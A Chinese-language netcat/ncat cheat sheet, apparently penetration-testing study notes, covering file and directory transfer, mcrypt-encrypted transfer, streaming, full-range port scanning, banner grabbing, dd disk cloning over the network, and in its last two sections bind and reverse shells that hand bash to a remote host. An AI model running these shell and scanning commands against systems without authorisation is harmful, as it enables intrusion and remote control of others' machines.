1. 传输文件
- 接收端 nc -lp 333 > 1.mp4
- 发送端 nc -nv 1.1.1.1 333 < 1.mp4 -q 1
- 或
- 发送端 nc -q 1 -lp 333 < a.mp4
- 接收端 nc -nv 1.1.1.1 333 > 2.mp4
2. 传输目录
- 发送端 tar -cvf - music/ | nc -lp 333 -q 1
- 接收端 nc -nv 1.1.1.1 333 | tar -xvf -
3. 加密传文件 不是nc的加密功能是利用了mcrypt加密功能
- 接收端 nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
- 发送端 mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
4. 流媒体服务器
- 发送端 cat 1.mp4 | nc -lp 333
- 接收端 nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
5. 端口扫描
- nc -nvz 1.1.1.1 1-65535
- nc -vnzu 1.1.1.1 1-1024
6. 远程克隆硬盘
- 接收端 nc -lp 333 | dd of=/dev/sda
- 发送端 dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
7. telnet / banner
- nc -nv 1.1.1.1 110
- nc -nv 1.1.1.1 25
- nc -nv 1.1.1.1 80
8. 传输文本信息
- 接收端 nc -l -p 4444
- 发送端 nc -nv 1.1.1.1 4444
- 发送端 ls -l | nc -nv 1.1.1.1 4444
9. 远程控制
- 正向
- 接收端 nc -lp 333 -c bash //将接收端bash传递到发送端,发送端控制接收端
- 发送端 nc 1.1.1.1 333
- 反向
- 发送端 nc -lp 333
- 接收端 nc 1.1.1.1 333 -c bash //将接收端bash传递到接发送端,发送端控制接收端
- windows下需要把bash改成cmd;
10. nc--ncat
- nc缺乏加密和身份验证的能力
- ncat包含于nmap工具包中
- 被控制端: ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
- 连接端: ncat -nv 1.1.1.1 333 --ssl
- 不同系统/平台的nc参数功能不尽相同